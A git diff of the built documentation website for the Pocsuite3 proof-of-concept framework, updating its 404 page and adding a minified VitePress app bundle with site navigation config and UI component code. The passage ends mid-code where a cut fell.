diff --git a/404.html b/404.html index 4e038254..d8354759 100644 --- a/404.html +++ b/404.html @@ -6,14 +6,14 @@ 404 | Pocsuite3 - + -
Pocsuite3

English
简体中文

English
简体中文

Appearance

404

PAGE NOT FOUND

But if you don't change your direction, and if you keep looking, you may end up where you are heading.
Take me home

Released under the GPLv2 License.

Copyright © 2014-present Knownsec 404 Team

- - +
Pocsuite3

English
简体中文

English
简体中文

Appearance

404

PAGE NOT FOUND

But if you don't change your direction, and if you keep looking, you may end up where you are heading.
Take me home

Released under the GPLv2 License.

Copyright © 2014-present Knownsec 404 Team

+ + \ No newline at end of file diff --git a/assets/app.3e775e36.js b/assets/app.3e775e36.js new file mode 100644 index 00000000..8c46cbb0 --- /dev/null +++ b/assets/app.3e775e36.js @@ -0,0 +1 @@ +import{s as it,c as w,i as Y,r as rt,m as pe,a as ct,n as ie,d as f,h as ge,b as S,w as re,o as R,e as Q,_,f as O,g as a,j as l,k as c,F as x,l as y,p,q as g,T as Oe,t as ce,u as he,v as r,x as h,y as d,z as N,A as k,B as V,C as le,D as M,E,G as T,H as lt,I as Ge,J as ut,K as dt,L as _t,M as vt,N as pt,O as ht,P as ft,Q as Le,R as Ce,S as mt}from"./chunks/framework.8815fd6f.js";const gt="modulepreload",Me={},yt="/",kt=function(t,n){return!n||n.length===0?t():Promise.all(n.map(s=>{if(s=`${yt}${s}`,s in Me)return;Me[s]=!0;const o=s.endsWith(".css"),i=o?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${s}"]${i}`))return;const u=document.createElement("link");if(u.rel=o?"stylesheet":gt,o||(u.as="script",u.crossOrigin=""),u.href=s,document.head.appendChild(u),o)return new Promise((v,m)=>{u.addEventListener("load",v),u.addEventListener("error",()=>m(new Error(`Unable to preload CSS for ${s}`)))})})).then(()=>t())};var $t=JSON.parse('{"lang":"zh-CN","title":"Pocsuite3","description":"Open source remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team","base":"/","head":[],"appearance":true,"themeConfig":{"logo":"/img/logo.jpg","nav":[{"text":"Guide","link":"/guide/what-is-pocsuite3","activeMatch":"/guide/"},{"text":"Paper","link":"https://paper.seebug.org"},{"text":"Video","link":"https://www.youtube.com/channel/UCKKmeW6hUa4cc935Jd8eijg/videos"},{"text":"Tools","items":[{"text":"ZoomEye","link":"https://www.zoomeye.org"},{"text":"Seebug","link":"https://www.seebug.org"},{"text":"CEye","link":"http://ceye.io"}]},{"text":"2.0.8","items":[{"text":"PyPi","link":"https://pypi.org/project/pocsuite3/"},{"text":"Homebrew","link":"https://formulae.brew.sh/formula/pocsuite3"},{"text":"Kali","link":"http://pkg.kali.org/pkg/pocsuite3"},{"text":"Debian","link":"https://tracker.debian.org/pkg/pocsuite3"},{"text":"Ubuntu","link":"https://launchpad.net/ubuntu/+source/pocsuite3"},{"text":"DockerHub","link":"https://hub.docker.com/r/pocsuite3/pocsuite3/tags"},{"text":"Arch","link":"https://aur.archlinux.org/packages/pocsuite3"}]}],"sidebar":{"/guide/":[{"text":"\u58F0\u660E","collapsible":true,"items":[{"text":"\u6CD5\u5F8B\u514D\u8D23\u58F0\u660E","link":"/guide/legal-disclaimer"},{"text":"\u7248\u6743\u58F0\u660E","link":"/guide/copyright-notice"}]},{"text":"\u5FEB\u901F\u5165\u95E8","collapsible":true,"items":[{"text":"Pocsuite3 \u662F\u4EC0\u4E48?","link":"/guide/what-is-pocsuite3"},{"text":"\u5B89\u88C5","link":"/guide/install"},{"text":"\u67B6\u6784\u7B80\u6790","link":"/guide/architecture"},{"text":"\u8FD0\u884C","link":"/guide/run"}]},{"text":"\u53C2\u6570\u8BF4\u660E","collapsible":true,"items":[{"text":"pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-pocsuite"},{"text":"poc-console \u63A7\u5236\u53F0\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-poc-console"},{"text":"pocsuite.ini \u914D\u7F6E\u6587\u4EF6\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-posuite-ini"},{"text":"\u96C6\u6210\u8C03\u7528\u53C2\u6570\u8BF4\u660E","link":"/guide/parameter-integration"}]},{"text":"PoC \u811A\u672C\u7F16\u5199\u89C4\u8303","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/poc-introduction"},{"text":"PoC \u811A\u672C\u7684\u4E09\u79CD\u6A21\u5F0F","link":"/guide/poc-mode"},{"text":"PoC \u57FA\u7C7B","link":"/guide/poc-base-class"},{"text":"PoC python \u811A\u672C\u7F16\u5199\u6B65\u9AA4","link":"/guide/poc-script-write"},{"text":"\u53EF\u81EA\u5B9A\u4E49\u53C2\u6570\u7684 PoC","link":"/guide/poc-definition-options"},{"text":"PoC \u7F16\u5199\u6CE8\u610F\u4E8B\u9879","link":"/guide/poc-write-notice"},{"text":"Pocsuite3 \u8FDC\u7A0B\u8C03\u7528\u6587\u4EF6\u5217\u8868","link":"/guide/poc-remote-file"},{"text":"\u901A\u7528 API \u5217\u8868","link":"/guide/poc-api"},{"text":"PoC \u4EE3\u7801\u793A\u4F8B","link":"/guide/poc-code-example"},{"text":"PoC \u89C4\u8303\u8BF4\u660E","link":"/guide/poc-specification"}]},{"text":"\u5B9E\u6218 PoC \u5F00\u53D1","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/poc-demo-introduction"},{"text":"Webmin \u672A\u6388\u6743\u8FDC\u7A0B\u547D\u4EE4\u6267\u884C\u6F0F\u6D1E (CVE-2019-15107)","link":"/guide/poc-demo-cve-2019-15107"},{"text":"mongo-express \u8BA4\u8BC1\u8FDC\u7A0B\u4EE3\u7801\u6267\u884C\u6F0F\u6D1E (CVE-2019-10758)","link":"/guide/poc-demo-cve-2019-10758"},{"text":"Grafana \u672A\u6388\u6743\u4EFB\u610F\u6587\u4EF6\u8BFB\u53D6\u6F0F\u6D1E (CVE-2021-43798)","link":"/guide/poc-demo-cve-2021-43798"},{"text":"\u67D0\u7F51\u7EDC\u6444\u50CF\u5934\u767B\u5F55\u7ED5\u8FC7\u6F0F\u6D1E","link":"/guide/poc-demo-camera-auth-bypass"}]},{"text":"\u63D2\u4EF6\u7F16\u5199","collapsible":true,"items":[{"text":"\u524D\u8A00","link":"/guide/plugin-introduction"},{"text":"TARGETS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-targets"},{"text":"POCS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-pocs"},{"text":"RESULTS \u7C7B\u578B\u63D2\u4EF6","link":"/guide/plugin-results"}]},{"text":"\u503C\u5F97\u4E00\u63D0\u7684\u7279\u6027","collapsible":true,"items":[{"text":"\u7279\u6027","link":"/guide/especial"}]},{"text":"\u5E38\u89C1\u95EE\u9898","collapsible":true,"items":[{"text":"QA","link":"/guide/QA.md"}]},{"text":"\u63A8\u8350","collapsible":true,"items":[{"text":"\u516C\u5F00\u6F0F\u6D1E\u5E93","link":"/guide/exploit-db.md"},{"text":"\u6280\u672F\u60C5\u62A5","link":"/guide/literature.md"}]}],"/en/guide/":[{"text":"Declaration","collapsible":true,"items":[{"text":"Legal Disclaimer","link":"/en/guide/legal-disclaimer"},{"text":"Copyright Notice","link":"/en/guide/copyright-notice"}]},{"text":"Getting Started","collapsible":true,"items":[{"text":"What is Pocsuite3?","link":"/en/guide/what-is-pocsuite3"},{"text":"Installation","link":"/en/guide/install"},{"text":"Architecture","link":"/en/guide/architecture"},{"text":"Start Running","link":"/en/guide/run"}]},{"text":"Parameters","collapsible":true,"items":[{"text":"CLI Mode","link":"/en/guide/parameter-pocsuite"},{"text":"Console Mode","link":"/en/guide/parameter-poc-console"},{"text":"Pocsuite.ini","link":"/en/guide/parameter-posuite-ini"},{"text":"Python Module","link":"/en/guide/parameter-integration"}]},{"text":"PoC Writing","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/poc-introduction"},{"text":"Three Modes","link":"/en/guide/poc-mode"},{"text":"Base Class","link":"/en/guide/poc-base-class"},{"text":"Write PoC","link":"/en/guide/poc-script-write"},{"text":"Custom Parameters","link":"/en/guide/poc-definition-options"},{"text":"Notice ","link":"/en/guide/poc-write-notice"},{"text":"Remote File","link":"/en/guide/poc-remote-file"},{"text":"API","link":"/en/guide/poc-api"},{"text":"PoC Example","link":"/en/guide/poc-code-example"},{"text":"PoC Specification","link":"/en/guide/poc-specification"}]},{"text":"PoC Writing Example","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/poc-demo-introduction"},{"text":"Webmin Pre-Auth RCE (CVE-2019-15107)","link":"/en/guide/poc-demo-cve-2019-15107"},{"text":"Mongo-express Post-Auth RCE (CVE-2019-10758)","link":"/en/guide/poc-demo-cve-2019-10758"},{"text":"Grafana Pre-Auth Arbitrary File Read (CVE-2021-43798)","link":"/en/guide/poc-demo-cve-2021-43798"},{"text":"Webcam Login Bypass","link":"/en/guide/poc-demo-camera-auth-bypass"}]},{"text":"Plugin System","collapsible":true,"items":[{"text":"Introduction","link":"/en/guide/plugin-introduction"},{"text":"TARGETS Plugin","link":"/en/guide/plugin-targets"},{"text":"POCS Plugin","link":"/en/guide/plugin-pocs"},{"text":"RESULTS Plugin","link":"/en/guide/plugin-results"}]},{"text":"Notable Features","collapsible":true,"items":[{"text":"Features","link":"/en/guide/especial"}]},{"text":"Q & A","collapsible":true,"items":[{"text":"QA","link":"/en/guide/QA.md"}]},{"text":"Recommendation","collapsible":true,"items":[{"text":"Public Vulnerability Database","link":"/en/guide/exploit-db.md"},{"text":"Paper","link":"/en/guide/literature.md"}]}]},"localeLinks":{"text":"","items":[{"text":"English","link":"/en/guide/what-is-pocsuite3"},{"text":"\u7B80\u4F53\u4E2D\u6587","link":"/guide/what-is-pocsuite3"}]},"socialLinks":[{"icon":"github","link":"https://github.com/knownsec/pocsuite3"}],"footer":{"message":"Released under the GPLv2 License.","copyright":"Copyright \xA9 2014-present Knownsec 404 Team"}},"locales":{},"langs":{},"scrollOffset":90}');const ue=/^[a-z]+:/i,Ie="vitepress-theme-appearance",B=typeof window!="undefined",Ue={relativePath:"",title:"404",description:"Not Found",headers:[],frontmatter:{sidebar:!1,layout:"page"},lastUpdated:0};function bt(e,t){t.sort((n,s)=>{const o=s.split("/").length-n.split("/").length;return o!==0?o:s.length-n.length});for(const n of t)if(e.startsWith(n))return n}function Ae(e,t){const n=bt(t,Object.keys(e));return n?e[n]:void 0}function xt(e){const{locales:t}=e.themeConfig||{},n=e.locales;return t&&n?Object.keys(t).reduce((s,o)=>(s[o]={label:t[o].label,lang:n[o].lang},s),{}):{}}function wt(e,t){t=Vt(e,t);const n=Ae(e.locales||{},t),s=Ae(e.themeConfig.locales||{},t);return Object.assign({},e,n,{themeConfig:Object.assign({},e.themeConfig,s,{locales:{}}),lang:(n||e).lang,locales:{},langs:xt(e)})}function qe(e,t){var i;const n=t.title||e.title,s=(i=t.titleTemplate)!=null?i:e.titleTemplate,o=Pt(e.title,s);return`${n}${o}`}function Pt(e,t){return t===!1?"":t===!0||t===void 0?` | ${e}`:e===t?"":` | ${t}`}function Vt(e,t){if(!B)return t;const n=e.base,s=n.endsWith("/")?n.slice(0,-1):n;return t.slice(s.length)}function St(e,t){const[n,s]=t;if(n!=="meta")return!1;const o=Object.entries(s)[0];return o==null?!1:e.some(([i,u])=>i===n&&u[o[0]]===o[1])}function Lt(e,t){return[...e.filter(n=>!St(t,n)),...t]}function Ct(e,t){return`${e}${t}`.replace(/\/+/g,"/")}function K(e){return ue.test(e)?e:Ct(X.value.base,e)}function je(e){let t=e.replace(/\.html$/,"");if(t=decodeURIComponent(t),t.endsWith("/")&&(t+="index"),B){const n="/";t=t.slice(n.length).replace(/\//g,"_")+".md";const s=__VP_HASH_MAP__[t.toLowerCase()];t=`${n}assets/${t}.${s}.js`}else t=`./${t.slice(1).replace(/\//g,"_")}.md.js`;return t}const We=Symbol(),X=it($t);function Mt(e){const t=w(()=>wt(X.value,e.path));return{site:t,theme:w(()=>t.value.themeConfig),page:w(()=>e.data),frontmatter:w(()=>e.data.frontmatter),lang:w(()=>t.value.lang),localePath:w(()=>{const{langs:n,lang:s}=t.value,o=Object.keys(n).find(i=>n[i].lang===s);return K(o||"/")}),title:w(()=>qe(t.value,e.data)),description:w(()=>e.data.description||t.value.description)}}function $(){const e=Y(We);if(!e)throw new Error("vitepress data not properly injected in app");return e}const Ke=Symbol(),Be="http://a.com",It=()=>({path:"/",component:null,data:Ue});function At(e,t){const n=rt(It());function s(u=B?location.href:"/"){const v=new URL(u,Be);return!v.pathname.endsWith("/")&&!v.pathname.endsWith(".html")&&(v.pathname+=".html",u=v.pathname+v.search+v.hash),B&&(history.replaceState({scrollPosition:window.scrollY},document.title),history.pushState(null,"",u)),i(u)}let o=null;async function i(u,v=0,m=!1){const b=new URL(u,Be),L=o=b.pathname;try{let P=e(L);if("then"in P&&typeof P.then=="function"&&(P=await P),o===L){o=null;const{default:C,__pageData:I}=P;if(!C)throw new Error(`Invalid route component: ${C}`);n.path=B?L:K(L),n.component=pe(C),n.data=pe(I),B&&ie(()=>{if(b.hash&&!v){let A=null;try{A=document.querySelector(decodeURIComponent(b.hash))}catch(z){console.warn(z)}if(A){Ne(A,b.hash);return}}window.scrollTo(0,v)})}}catch(P){if(!P.message.match(/fetch/)&&!u.match(/^[\\/]404\.html$/)&&console.error(P),!m)try{const C=await fetch(X.value.base+"hashmap.json");window.__VP_HASH_MAP__=await C.json(),await i(u,v,!0);return}catch{}o===L&&(o=null,n.path=B?L:K(L),n.component=t?pe(t):null,n.data=Ue)}}return B&&(window.addEventListener("click",u=>{const v=u.target.closest("a");if(v){const{href:m,protocol:b,hostname:L,pathname:P,hash:C,target:I}=v,A=window.location,z=P.match(/\.\w+$/);!u.ctrlKey&&!u.shiftKey&&!u.altKey&&!u.metaKey&&I!=="_blank"&&b===A.protocol&&L===A.hostname&&!(z&&z[0]!==".html")&&(u.preventDefault(),P===A.pathname?C&&C!==A.hash&&(history.pushState(null,"",C),window.dispatchEvent(new Event("hashchange")),Ne(v,C,v.classList.contains("header-anchor"))):s(m))}},{capture:!0}),window.addEventListener("popstate",u=>{i(location.href,u.state&&u.state.scrollPosition||0)}),window.addEventListener("hashchange",u=>{u.preventDefault()})),{route:n,go:s}}function Bt(){const e=Y(Ke);if(!e)throw new Error("useRouter() is called without provider.");return e}function D(){return Bt().route}function Ne(e,t,n=!1){let s=null;try{s=e.classList.contains("header-anchor")?e:document.querySelector(decodeURIComponent(t))}catch(o){console.warn(o)}if(s){let o=X.value.scrollOffset;typeof o=="string"&&(o=document.querySelector(o).getBoundingClientRect().bottom+24);const i=parseInt(window.getComputedStyle(s).paddingTop,10),u=window.scrollY+s.getBoundingClientRect().top-o+i;!n||Math.abs(u-window.scrollY)>window.innerHeight?window.scrollTo(0,u):window.scrollTo({left:0,top:u,behavior:"smooth"})}}const Nt=f({name:"VitePressContent",setup(){const e=D();return()=>ge("div",{style:{position:"relative"}},[e.component?ge(e.component):null])}}),Ye=/#.*$/,Et=/(index)?\.(md|html)$/,Tt=typeof window!="undefined",Ht=S(Tt?location.hash:"");function zt(e){return ue.test(e)}function Dt(e,t){let n,s=!1;return()=>{n&&clearTimeout(n),s?n=setTimeout(e,t):(e(),s=!0,setTimeout(()=>{s=!1},t))}}function J(e,t,n=!1){if(t===void 0)return!1;if(e=Te(`/${e}`),n)return new RegExp(t).test(e);if(Te(t)!==e)return!1;const s=t.match(Ye);return s?Ht.value===s[0]:!0}function Ee(e){return/^\//.test(e)?e:`/${e}`}function Te(e){return decodeURI(e).replace(Ye,"").replace(Et,"")}function te(e){if(zt(e))return e;const{pathname:t,search:n,hash:s}=new URL(e,"http://example.com"),o=t.endsWith("/")||t.endsWith(".html")?e:`${t.replace(/(\.md)?$/,".html")}${n}${s}`;return K(o)}function Qe(e,t){if(Array.isArray(e))return e;t=Ee(t);for(const n in e)if(t.startsWith(Ee(n)))return e[n];return[]}function Ft(e){const t=[];for(const n of e)for(const s of n.items)t.push(s);return t}function H(){const e=D(),{theme:t,frontmatter:n}=$(),s=S(!1),o=w(()=>{const b=t.value.sidebar,L=e.data.relativePath;return b?Qe(b,L):[]}),i=w(()=>n.value.sidebar!==!1&&o.value.length>0&&n.value.layout!=="home");function u(){s.value=!0}function v(){s.value=!1}function m(){s.value?v():u()}return{isOpen:s,sidebar:o,hasSidebar:i,open:u,close:v,toggle:m}}function Rt(e,t){let n;re(()=>{n=e.value?document.activeElement:void 0}),R(()=>{window.addEventListener("keyup",s)}),Q(()=>{window.removeEventListener("keyup",s)});function s(o){o.key==="Escape"&&e.value&&(t(),n==null||n.focus())}}const Ot=f({__name:"VPSkipLink",setup(e){const t=D(),n=S();O(()=>t.path,()=>n.value.focus());function s({target:o}){const i=document.querySelector(o.hash);if(i){const u=()=>{i.removeAttribute("tabindex"),i.removeEventListener("blur",u)};i.setAttribute("tabindex","-1"),i.addEventListener("blur",u),i.focus(),window.scrollTo(0,0)}}return(o,i)=>(a(),l(x,null,[c("span",{ref_key:"backToTop",ref:n,tabindex:"-1"},null,512),c("a",{href:"#VPContent",class:"VPSkipLink visually-hidden",onClick:s}," Skip to content ")],64))}});var Gt=_(Ot,[["__scopeId","data-v-55daa11a"]]);const Ut={key:0,class:"VPBackdrop"},qt=f({__name:"VPBackdrop",props:{show:{type:Boolean}},setup(e){return(t,n)=>(a(),y(Oe,{name:"fade"},{default:p(()=>[e.show?(a(),l("div",Ut)):g("",!0)]),_:1}))}});var jt=_(qt,[["__scopeId","data-v-679c914e"]]);function Wt(){const e=S(!1);function t(){e.value=!0,window.addEventListener("resize",o)}function n(){e.value=!1,window.removeEventListener("resize",o)}function s(){e.value?n():t()}function o(){window.outerWidth>=768&&n()}const i=D();return O(()=>i.path,n),{isScreenOpen:e,openScreen:t,closeScreen:n,toggleScreen:s}}const Kt=["src"],Yt={inheritAttrs:!1},Qt=f({...Yt,__name:"VPImage",props:{image:null},setup(e){return(t,n)=>{const s=ce("VPImage",!0);return e.image?(a(),l(x,{key:0},[typeof e.image=="string"||"src"in e.image?(a(),l("img",he({key:0,class:"VPImage"},typeof e.image=="string"?t.$attrs:{...e.image,...t.$attrs},{src:r(K)(typeof e.image=="string"?e.image:e.image.src)}),null,16,Kt)):(a(),l(x,{key:1},[h(s,he({class:"dark",image:e.image.dark},t.$attrs),null,16,["image"]),h(s,he({class:"light",image:e.image.light},t.$attrs),null,16,["image"])],64))],64)):g("",!0)}}});var Xe=_(Qt,[["__scopeId","data-v-58975af6"]]);const Xt=["href"],Jt=f({__name:"VPNavBarTitle",setup(e){const{site:t,theme:n}=$(),{hasSidebar:s}=H();return(o,i)=>(a(),l("div",{class:V(["VPNavBarTitle",{"has-sidebar":r(s)}])},[c("a",{class:"title",href:r(t).base},[d(o.$slots,"nav-bar-title-before",{},void 0,!0),h(Xe,{class:"logo",image:r(n).logo},null,8,["image"]),r(n).siteTitle?(a(),l(x,{key:0},[N(k(r(n).siteTitle),1)],64)):r(n).siteTitle===void 0?(a(),l(x,{key:1},[N(k(r(t).title),1)],64)):g("",!0),d(o.$slots,"nav-bar-title-after",{},void 0,!0)],8,Xt)],2))}});var Zt=_(Jt,[["__scopeId","data-v-201df8ab"]]);const en={key:0,class:"VPNavBarSearch"},tn={type:"button",class:"DocSearch DocSearch-Button","aria-label":"Search"},nn={class:"DocSearch-Button-Container"},sn=c("svg",{class:"DocSearch-Search-Icon",width:"20",height:"20",viewBox:"0 0 20 20"},[c("path",{d:"M14.386 14.386l4.0877 4.0877-4.0877-4.0877c-2.9418 2.9419-7.7115 2.9419-10.6533 0-2.9419-2.9418-2.9419-7.7115 0-10.6533 2.9418-2.9419 7.7115-2.9419 10.6533 0 2.9419 2.9418 2.9419 7.7115 0 10.6533z",stroke:"currentColor",fill:"none","fill-rule":"evenodd","stroke-linecap":"round","stroke-linejoin":"round"})],-1),on={class:"DocSearch-Button-Placeholder"},an={class:"DocSearch-Button-Keys"},rn=c("kbd",{class:"DocSearch-Button-Key"},"K",-1),cn=f({__name:"VPNavBarSearch",setup(e){const t=()=>null,{theme:n}=$(),s=S(!1),o=S();R(()=>{if(!n.value.algolia)return;o.value.textContent=/(Mac|iPhone|iPod|iPad)/i.test(navigator.platform)?"\u2318":"Ctrl";const u=m=>{m.key==="k"&&(m.ctrlKey||m.metaKey)&&(m.preventDefault(),i(),v())},v=()=>{window.removeEventListener("keydown",u)};window.addEventListener("keydown",u),Q(v)});function i(){s.value||(s.value=!0)}return(u,v)=>{var m;return r(n).algolia?(a(),l("div",en,[s.value?(a(),y(r(t),{key:0})):(a(),l("div",{key:1,id:"docsearch",onClick:i},[c("button",tn,[c("span",nn,[sn,c("span",on,k(((m=r(n).algolia)==null?void 0:m.buttonText)||"Search"),1)]),c("span",an,[c("kbd",{class:"DocSearch-Button-Key",ref_key:"metaKey",ref:o},"Meta",512),rn])])]))])):g("",!0)}}}),ln={},un={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",height:"24px",viewBox:"0 0 24 24",width:"24px"},dn=c("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),_n=c("path",{d:"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5H9z"},null,-1),vn=[dn,_n];function pn(e,t){return a(),l("svg",un,vn)}var hn=_(ln,[["render",pn]]);const fn=f({__name:"VPLink",props:{href:null,noIcon:{type:Boolean}},setup(e){const t=e,n=w(()=>t.href&&ue.test(t.href));return(s,o)=>(a(),y(le(e.href?"a":"span"),{class:V(["VPLink",{link:e.href}]),href:e.href?r(te)(e.href):void 0,target:r(n)?"_blank":void 0,rel:r(n)?"noreferrer":void 0},{default:p(()=>[d(s.$slots,"default",{},void 0,!0),r(n)&&!e.noIcon?(a(),y(hn,{key:0,class:"icon"})):g("",!0)]),_:3},8,["class","href","target","rel"]))}});var U=_(fn,[["__scopeId","data-v-101ee61a"]]);const mn=f({__name:"VPNavBarMenuLink",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),y(U,{class:V({VPNavBarMenuLink:!0,active:r(J)(r(t).relativePath,e.item.activeMatch||e.item.link,!!e.item.activeMatch)}),href:e.item.link,noIcon:!0},{default:p(()=>[N(k(e.item.text),1)]),_:1},8,["class","href"]))}});var gn=_(mn,[["__scopeId","data-v-02ba32e2"]]);const be=S();let Je=!1,fe=0;function yn(e){const t=S(!1);if(typeof window!="undefined"){!Je&&kn(),fe++;const n=O(be,s=>{var o,i,u;s===e.el.value||((o=e.el.value)==null?void 0:o.contains(s))?(t.value=!0,(i=e.onFocus)==null||i.call(e)):(t.value=!1,(u=e.onBlur)==null||u.call(e))});Q(()=>{n(),fe--,fe||$n()})}return ct(t)}function kn(){document.addEventListener("focusin",Ze),Je=!0,be.value=document.activeElement}function $n(){document.removeEventListener("focusin",Ze)}function Ze(){be.value=document.activeElement}const bn={},xn={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},wn=c("path",{d:"M12,16c-0.3,0-0.5-0.1-0.7-0.3l-6-6c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l5.3,5.3l5.3-5.3c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-6,6C12.5,15.9,12.3,16,12,16z"},null,-1),Pn=[wn];function Vn(e,t){return a(),l("svg",xn,Pn)}var et=_(bn,[["render",Vn]]);const Sn={},Ln={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Cn=c("circle",{cx:"12",cy:"12",r:"2"},null,-1),Mn=c("circle",{cx:"19",cy:"12",r:"2"},null,-1),In=c("circle",{cx:"5",cy:"12",r:"2"},null,-1),An=[Cn,Mn,In];function Bn(e,t){return a(),l("svg",Ln,An)}var Nn=_(Sn,[["render",Bn]]);const En={class:"VPMenuLink"},Tn=f({__name:"VPMenuLink",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),l("div",En,[h(U,{class:V({active:r(J)(r(t).relativePath,e.item.activeMatch||e.item.link)}),href:e.item.link},{default:p(()=>[N(k(e.item.text),1)]),_:1},8,["class","href"])]))}});var de=_(Tn,[["__scopeId","data-v-11035866"]]);const Hn={class:"VPMenuGroup"},zn={key:0,class:"title"},Dn=f({__name:"VPMenuGroup",props:{text:null,items:null},setup(e){return(t,n)=>(a(),l("div",Hn,[e.text?(a(),l("p",zn,k(e.text),1)):g("",!0),(a(!0),l(x,null,M(e.items,s=>(a(),l(x,null,["link"in s?(a(),y(de,{key:0,item:s},null,8,["item"])):g("",!0)],64))),256))]))}});var Fn=_(Dn,[["__scopeId","data-v-23e12ca0"]]);const Rn={class:"VPMenu"},On={key:0,class:"items"},Gn=f({__name:"VPMenu",props:{items:null},setup(e){return(t,n)=>(a(),l("div",Rn,[e.items?(a(),l("div",On,[(a(!0),l(x,null,M(e.items,s=>(a(),l(x,{key:s.text},["link"in s?(a(),y(de,{key:0,item:s},null,8,["item"])):(a(),y(Fn,{key:1,text:s.text,items:s.items},null,8,["text","items"]))],64))),128))])):g("",!0),d(t.$slots,"default",{},void 0,!0)]))}});var Un=_(Gn,[["__scopeId","data-v-81ae02dc"]]);const qn=["aria-expanded","aria-label"],jn={key:0,class:"text"},Wn={class:"menu"},Kn=f({__name:"VPFlyout",props:{icon:null,button:null,label:null,items:null},setup(e){const t=S(!1),n=S();yn({el:n,onBlur:s});function s(){t.value=!1}return(o,i)=>(a(),l("div",{class:"VPFlyout",ref_key:"el",ref:n,onMouseenter:i[1]||(i[1]=u=>t.value=!0),onMouseleave:i[2]||(i[2]=u=>t.value=!1)},[c("button",{type:"button",class:"button","aria-haspopup":"true","aria-expanded":t.value,"aria-label":e.label,onClick:i[0]||(i[0]=u=>t.value=!t.value)},[e.button||e.icon?(a(),l("span",jn,[e.icon?(a(),y(le(e.icon),{key:0,class:"option-icon"})):g("",!0),N(" "+k(e.button)+" ",1),h(et,{class:"text-icon"})])):(a(),y(Nn,{key:1,class:"icon"}))],8,qn),c("div",Wn,[h(Un,{items:e.items},{default:p(()=>[d(o.$slots,"default",{},void 0,!0)]),_:3},8,["items"])])],544))}});var xe=_(Kn,[["__scopeId","data-v-5522510e"]]);const Yn=f({__name:"VPNavBarMenuGroup",props:{item:null},setup(e){const{page:t}=$();return(n,s)=>(a(),y(xe,{class:V({VPNavBarMenuGroup:!0,active:r(J)(r(t).relativePath,e.item.activeMatch,!!e.item.activeMatch)}),button:e.item.text,items:e.item.items},null,8,["class","button","items"]))}});const Qn=e=>(E("data-v-12a0f374"),e=e(),T(),e),Xn={key:0,"aria-labelledby":"main-nav-aria-label",class:"VPNavBarMenu"},Jn=Qn(()=>c("span",{id:"main-nav-aria-label",class:"visually-hidden"},"Main Navigation",-1)),Zn=f({__name:"VPNavBarMenu",setup(e){const{theme:t}=$();return(n,s)=>r(t).nav?(a(),l("nav",Xn,[Jn,(a(!0),l(x,null,M(r(t).nav,o=>(a(),l(x,{key:o.text},["link"in o?(a(),y(gn,{key:0,item:o},null,8,["item"])):(a(),y(Yn,{key:1,item:o},null,8,["item"]))],64))),128))])):g("",!0)}});var es=_(Zn,[["__scopeId","data-v-12a0f374"]]);const ts={},ns={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},ss=c("path",{d:"M0 0h24v24H0z",fill:"none"},null,-1),os=c("path",{d:" M12.87 15.07l-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11.76-2.04zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2l-4.5-12zm-2.62 7l1.62-4.33L19.12 17h-3.24z ",class:"css-c4d79v"},null,-1),as=[ss,os];function is(e,t){return a(),l("svg",ns,as)}var tt=_(ts,[["render",is]]);const rs={class:"items"},cs={class:"title"},ls=f({__name:"VPNavBarTranslations",setup(e){const{theme:t}=$();return(n,s)=>r(t).localeLinks?(a(),y(xe,{key:0,class:"VPNavBarTranslations",icon:tt},{default:p(()=>[c("div",rs,[c("p",cs,k(r(t).localeLinks.text),1),(a(!0),l(x,null,M(r(t).localeLinks.items,o=>(a(),y(de,{key:o.link,item:o},null,8,["item"]))),128))])]),_:1})):g("",!0)}});var us=_(ls,[["__scopeId","data-v-5c1aee4a"]]);const ds={},_s={class:"VPSwitch",type:"button",role:"switch"},vs={class:"check"},ps={key:0,class:"icon"};function hs(e,t){return a(),l("button",_s,[c("span",vs,[e.$slots.default?(a(),l("span",ps,[d(e.$slots,"default",{},void 0,!0)])):g("",!0)])])}var fs=_(ds,[["render",hs],["__scopeId","data-v-578e1f19"]]);const ms={},gs={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},ys=lt('',9),ks=[ys];function $s(e,t){return a(),l("svg",gs,ks)}var bs=_(ms,[["render",$s]]);const xs={},ws={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 